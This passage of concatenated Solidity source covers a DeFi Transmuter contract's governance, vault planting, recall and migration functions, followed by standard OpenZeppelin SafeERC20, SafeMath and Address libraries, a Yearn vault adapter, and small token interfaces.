one call /// /// This function is used to query the contract to check for /// accounts that have overfilled positions in order to check /// who can be force transmuted. /// /// @param from the first index of the userList /// @param to the last index of the userList /// /// returns the userList with their staking status in paginated form. function getMultipleUserInfo(uint256 from, uint256 to) public view returns (address[] memory theUserList, uint256[] memory theUserData) { uint256 i = from; uint256 delta = to - from; address[] memory _theUserList = new address[](delta); //user uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket uint256 y = 0; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod); if(block.number.sub(lastDepositBlock) > transmutationPeriod){ _toDistribute = buffer; } for (uint256 x = 0; x < delta; x += 1) { _theUserList[x] = userList[i]; _theUserData[y] = depositedAlTokens[userList[i]]; _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens)); y += 2; i += 1; } return (_theUserList, _theUserData); } /// @dev Gets info on the buffer /// /// This function is used to query the contract to get the /// latest state of the buffer /// /// @return _toDistribute the amount ready to be distributed /// @return _deltaBlocks the amount of time since the last phased distribution /// @return _buffer the amount in the buffer function bufferInfo() public view returns (uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer){ _deltaBlocks = block.number.sub(lastDepositBlock); _buffer = buffer; _toDistribute = _buffer.mul(_deltaBlocks).div(transmutationPeriod); } /// @dev Sets the pending governance. /// /// This function reverts if the new pending governance is the zero address or the caller is not the current /// governance. This is to prevent the contract governance being set to the zero address which would deadlock /// privileged contract functionality. /// /// @param _pendingGovernance the new pending governance. function setPendingGovernance(address _pendingGovernance) external onlyGov() { require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov"); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } /// @dev Accepts the role as governance. /// /// This function reverts if the caller is not the new pending governance. function acceptGovernance() external { require(msg.sender == pendingGovernance,"!pendingGovernance"); address _pendingGovernance = pendingGovernance; governance = _pendingGovernance; emit GovernanceUpdated(_pendingGovernance); } /// @dev Sets the whitelist /// /// This function reverts if the caller is not governance /// /// @param _toWhitelist the address to alter whitelist permissions. /// @param _state the whitelist state. function setWhitelist(address _toWhitelist, bool _state) external onlyGov() { whiteList[_toWhitelist] = _state; emit WhitelistSet(_toWhitelist, _state); } /// @dev Sets the keeper list /// /// This function reverts if the caller is not governance /// /// @param _keepers the accounts to set states for. /// @param _states the accounts states. function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov() { uint256 n = _keepers.length; for(uint256 i = 0; i < n; i++) { keepers[_keepers[i]] = _states[i]; } emit KeepersSet(_keepers, _states); } /// @dev Initializes the contract. /// /// This function checks that the transmuter and rewards have been set and sets up the active vault. /// /// @param _adapter the vault adapter of the active vault. function initialize(YearnVaultAdapterWithIndirection _adapter) external onlyGov { require(!initialized, "Transmuter: already initialized"); require(rewards != ZERO_ADDRESS, "Transmuter: cannot initialize rewards address to 0x0"); _updateActiveVault(_adapter); initialized = true; } function migrate(YearnVaultAdapterWithIndirection _adapter) external onlyGov() { _updateActiveVault(_adapter); } /// @dev Updates the active vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the new active vault. function _updateActiveVault(YearnVaultAdapterWithIndirection _adapter) internal { require(_adapter != YearnVaultAdapterWithIndirection(ZERO_ADDRESS), "Transmuter: active vault address cannot be 0x0."); require(address(_adapter.token()) == token, "Transmuter.vault: token mismatch."); require(!adapters[_adapter], "Adapter already in use"); adapters[_adapter] = true; _vaults.push(VaultWithIndirection.Data({ adapter: _adapter, totalDeposited: 0 })); emit ActiveVaultUpdated(_adapter); } /// @dev Gets the number of vaults in the vault list. /// /// @return the vault count. function vaultCount() external view returns (uint256) { return _vaults.length(); } /// @dev Get the adapter of a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the vault adapter. function getVaultAdapter(uint256 _vaultId) external view returns (address) { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); return address(_vault.adapter); } /// @dev Get the total amount of the parent asset that has been deposited into a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the total amount of deposited tokens. function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); return _vault.totalDeposited; } /// @dev Recalls funds from active vault if less than amt exist locally /// /// @param amt amount of funds that need to exist locally to fulfill pending request function ensureSufficientFundsExistLocally(uint256 amt) internal { uint256 currentBal = IERC20Burnable(token).balanceOf(address(this)); if (currentBal < amt) { uint256 diff = amt - currentBal; // get enough funds from active vault to replenish local holdings & fulfill claim request _recallExcessFundsFromActiveVault(plantableThreshold.add(diff)); } } /// @dev Recalls all planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds function recallAllFundsFromVault(uint256 _vaultId) external { require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel"); _recallAllFundsFromVault(_vaultId); } /// @dev Recalls all planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds function _recallAllFundsFromVault(uint256 _vaultId) internal { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdrawAll(address(this)); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); } /// @dev Recalls planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds /// @param _amount the amount of funds to recall function recallFundsFromVault(uint256 _vaultId, uint256 _amount) external { require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel"); _recallFundsFromVault(_vaultId, _amount); } /// @dev Recalls planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds /// @param _amount the amount of funds to recall function _recallFundsFromVault(uint256 _vaultId, uint256 _amount) internal { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); } /// @dev Recalls planted funds from the active vault /// /// @param _amount the amount of funds to recall function _recallFundsFromActiveVault(uint256 _amount) internal { _recallFundsFromVault(_vaults.lastIndex(), _amount); } /// @dev Plants or recalls funds from the active vault /// /// This function plants excess funds in an external vault, or recalls them from the external vault /// Should only be called as part of distribute() function _plantOrRecallExcessFunds() internal { // check if the transmuter holds more funds than plantableThreshold uint256 bal = IERC20Burnable(token).balanceOf(address(this)); uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100); if (bal > plantableThreshold.add(marginVal)) { uint256 plantAmt = bal - plantableThreshold; // if total funds above threshold, send funds to vault VaultWithIndirection.Data storage _activeVault = _vaults.last(); _activeVault.deposit(plantAmt); } else if (bal < plantableThreshold.sub(marginVal)) { // if total funds below threshold, recall funds from vault // first check that there are enough funds in vault uint256 harvestAmt = plantableThreshold - bal; _recallExcessFundsFromActiveVault(harvestAmt); } } /// @dev Recalls up to the harvestAmt from the active vault /// /// This function will recall less than harvestAmt if only less is available /// /// @param _recallAmt the amount to harvest from the active vault function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal { VaultWithIndirection.Data storage _activeVault = _vaults.last(); uint256 activeVaultVal = _activeVault.totalValue(); if (activeVaultVal < _recallAmt) { _recallAmt = activeVaultVal; } if (_recallAmt > 0) { _recallFundsFromActiveVault(_recallAmt); } } /// @dev Sets the address of the sentinel /// /// @param _sentinel address of the new sentinel function setSentinel(address _sentinel) external onlyGov() { require(_sentinel != ZERO_ADDRESS, "Transmuter: sentinel address cannot be 0x0."); sentinel = _sentinel; emit SentinelUpdated(_sentinel); } /// @dev Sets the threshold of total held funds above which excess funds will be planted in yield farms. /// /// This function reverts if the caller is not the current governance. /// /// @param _plantableThreshold the new plantable threshold. function setPlantableThreshold(uint256 _plantableThreshold) external onlyGov() { plantableThreshold = _plantableThreshold; emit PlantableThresholdUpdated(_plantableThreshold); } /// @dev Sets the plantableThreshold margin for triggering the planting or recalling of funds on harvest /// /// This function reverts if the caller is not the current governance. /// /// @param _plantableMargin the new plantable margin. function setPlantableMargin(uint256 _plantableMargin) external onlyGov() { plantableMargin = _plantableMargin; emit PlantableMarginUpdated(_plantableMargin); } /// @dev Sets the minUserActionDelay /// /// This function reverts if the caller is not the current governance. /// /// @param _minUserActionDelay the new min user action delay. function setMinUserActionDelay(uint256 _minUserActionDelay) external onlyGov() { minUserActionDelay = _minUserActionDelay; emit MinUserActionDelayUpdated(_minUserActionDelay); } /// @dev Sets if the contract should enter emergency exit mode. /// /// There are 2 main reasons to pause: /// 1. Need to shut down deposits in case of an emergency in one of the vaults /// 2. Need to migrate to a new transmuter /// /// While the transmuter is paused, deposit() and distribute() are disabled /// /// @param _pause if the contract should enter emergency exit mode. function setPause(bool _pause) external { require(msg.sender == governance || msg.sender == sentinel, "!(gov || sentinel)"); pause = _pause; emit PauseUpdated(_pause); } /// @dev Harvests yield from a vault. /// /// @param _vaultId the identifier of the vault to harvest from. /// /// @return the amount of funds that were harvested from the vault. function harvest(uint256 _vaultId) external onlyKeeper() returns (uint256, uint256) { VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId); (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(rewards); emit FundsHarvested(_harvestedAmount, _decreasedValue); return (_harvestedAmount, _decreasedValue); } /// @dev Sets the rewards contract. /// /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance. /// /// @param _rewards the new rewards contract. function setRewards(address _rewards) external onlyGov() { // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break // transfers to the address because of `safeTransfer` checks. require(_rewards != ZERO_ADDRESS, "Transmuter: rewards address cannot be 0x0."); rewards = _rewards; emit RewardsUpdated(_rewards); } /// @dev Migrates transmuter funds to a new transmuter /// /// @param migrateTo address of the new transmuter function migrateFunds(address migrateTo) external onlyGov() { require(migrateTo != address(0), "cannot migrate to 0x0"); require(pause, "migrate: set emergency exit first"); // leave enough funds to service any pending transmutations uint256 totalFunds = IERC20Burnable(token).balanceOf(address(this)); uint256 migratableFunds = totalFunds.sub(totalSupplyAltokens, "not enough funds to service stakes"); IERC20Burnable(token).approve(migrateTo, migratableFunds); ITransmuter(migrateTo).distribute(address(this), migratableFunds); emit MigrationComplete(migrateTo, migratableFunds); } /// @dev Recover eth sent directly to the Alchemist /// /// only callable by governance function recoverLostFunds() external onlyGov() { payable(governance).transfer(address(this).balance); } receive() external payable {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Burnable is IERC20 { function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; import "hardhat/console.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {FixedPointMath} from "../libraries/FixedPointMath.sol"; import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol"; import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol"; import {IyVaultV2} from "../interfaces/IyVaultV2.sol"; import {YearnVaultAdapter} from "./YearnVaultAdapter.sol"; /// @title YearnVaultAdapter /// /// @dev A vault adapter implementation which wraps a yEarn vault. contract YearnVaultAdapterWithIndirection is YearnVaultAdapter { using FixedPointMath for FixedPointMath.FixedDecimal; using SafeERC20 for IDetailedERC20; using SafeERC20 for IyVaultV2; using SafeMath for uint256; constructor(IyVaultV2 _vault, address _admin) YearnVaultAdapter(_vault, _admin) public { } /// @dev Sends vault tokens to the recipient /// /// This function reverts if the caller is not the admin. /// /// @param _recipient the account to send the tokens to. /// @param _amount the amount of tokens to send. function indirectWithdraw(address _recipient, uint256 _amount) external onlyAdmin { vault.safeTransfer(_recipient, _tokensToShares(_amount)); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; //import "hardhat/console.sol"; import {Math} from "@openzeppelin/contracts/math/Math.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IDetailedERC20} from "../../interfaces/IDetailedERC20.sol"; import {YearnVaultAdapterWithIndirection} from "../../adapters/YearnVaultAdapterWithIndirection.sol"; import "hardhat/console.sol"; /// @title Pool /// /// @dev A library which provides the Vault data struct and associated functions. library VaultWithIndirection { using VaultWithIndirection for Data; using VaultWithIndirection for List; using SafeERC20 for IDetailedERC20; using SafeMath for uint256; struct Data { YearnVaultAdapterWithIndirection adapter; uint256 totalDeposited; } struct List { Data[] elements; } /// @dev Gets the total amount of assets deposited in the vault. /// /// @return the total assets. function totalValue(Data storage _self) internal view returns (uint256) { return _self.adapter.totalValue(); } /// @dev Gets the token that the vault accepts. /// /// @return the accepted token. function token(Data storage _self) internal view returns (IDetailedERC20) { return IDetailedERC20(_self.adapter.token()); } /// @dev Deposits funds from the caller into the vault. /// /// @param _amount the amount of funds to deposit. function deposit(Data storage _self, uint256 _amount) internal returns (uint256) { // Push the token that the vault accepts onto the stack to save gas. IDetailedERC20 _token = _self.token(); _token.safeTransfer(address(_self.adapter), _amount); _self.adapter.deposit(_amount); _self.totalDeposited = _self.totalDeposited.add(_amount); return _amount; } /// @dev Deposits the entire token balance of the caller into the vault. function depositAll(Data storage _self) internal returns (uint256) { IDetailedERC20 _token = _self.token(); return _self.deposit(_token.balanceOf(address(this))); } /// @dev Withdraw deposited funds from the vault. /// /// @param _recipient the account to withdraw the tokens to. /// @param _amount the amount of tokens to withdraw. function withdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) { (uint256 _withdrawnAmount, uint256 _decreasedValue) = _self.directWithdraw(_recipient, _amount); _self.totalDeposited = _self.totalDeposited.sub(_decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Directly withdraw deposited funds from the vault. /// /// @param _recipient the account to withdraw the tokens to. /// @param _amount the amount of tokens to withdraw. function directWithdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) { IDetailedERC20 _token = _self.token(); uint256 _startingBalance = _token.balanceOf(_recipient); uint256 _startingTotalValue = _self.totalValue(); _self.adapter.withdraw(_recipient, _amount); uint256 _endingBalance = _token.balanceOf(_recipient); uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance); uint256 _endingTotalValue = _self.totalValue(); uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Directly withdraw deposited funds from the vault. /// /// @param _recipient the account to withdraw the tokens to. /// @param _amount the amount of tokens to withdraw. function indirectWithdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) { IDetailedERC20 _token = _self.token(); uint256 _startingBalance = _token.balanceOf(_recipient); uint256 _startingTotalValue = _self.totalValue(); _self.adapter.indirectWithdraw(_recipient, _amount); uint256 _endingBalance = _token.balanceOf(_recipient); uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance); uint256 _endingTotalValue = _self.totalValue(); uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Withdraw all the deposited funds from the vault. /// /// @param _recipient the account to withdraw the tokens to. function withdrawAll(Data storage _self, address _recipient) internal returns (uint256, uint256) { return _self.withdraw(_recipient, _self.totalDeposited); } /// @dev Harvests yield from the vault. /// /// @param _recipient the account to withdraw the harvested yield to. function harvest(Data storage _self, address _recipient) internal returns (uint256, uint256) { if (_self.totalValue() <= _self.totalDeposited) { return (0, 0); } uint256 _withdrawAmount = _self.totalValue().sub(_self.totalDeposited); return _self.indirectWithdraw(_recipient, _withdrawAmount); } /// @dev Adds a element to the list. /// /// @param _element the element to add. function push(List storage _self, Data memory _element) internal { _self.elements.push(_element); } /// @dev Gets a element from the list. /// /// @param _index the index in the list. /// /// @return the element at the specified index. function get(List storage _self, uint256 _index) internal view returns (Data storage) { return _self.elements[_index]; } /// @dev Gets the last element in the list. /// /// This function will revert if there are no elements in the list. /// /// @return the last element in the list. function last(List storage _self) internal view returns (Data storage) { return _self.elements[_self.lastIndex()]; } /// @dev Gets the index of the last element in the list. /// /// This function will revert if there are no elements in the list. /// /// @return the index of the last element. function lastIndex(List storage _self) internal view returns (uint256) { uint256 _length = _self.length(); return _length.sub(1, "Vault.List: empty"); } /// @dev Gets the number of elements in the list. /// /// @return the number of elements. function length(List storage _self) internal view returns (uint256) { return _self.elements.length; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; interface ITransmuter { function distribute (address origin, uint256 amount) external; } pragma solidity ^0.6.12; interface IWETH9 { event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); function deposit() external payable; function withdraw(uint wad) external; function totalSupply() external view returns (uint); function approve(address guy, uint wad) external returns (bool); function transfer(address dst, uint wad) external returns (bool); function transferFrom(address src, address dst, uint wad) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function balanceOf(address guy) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ 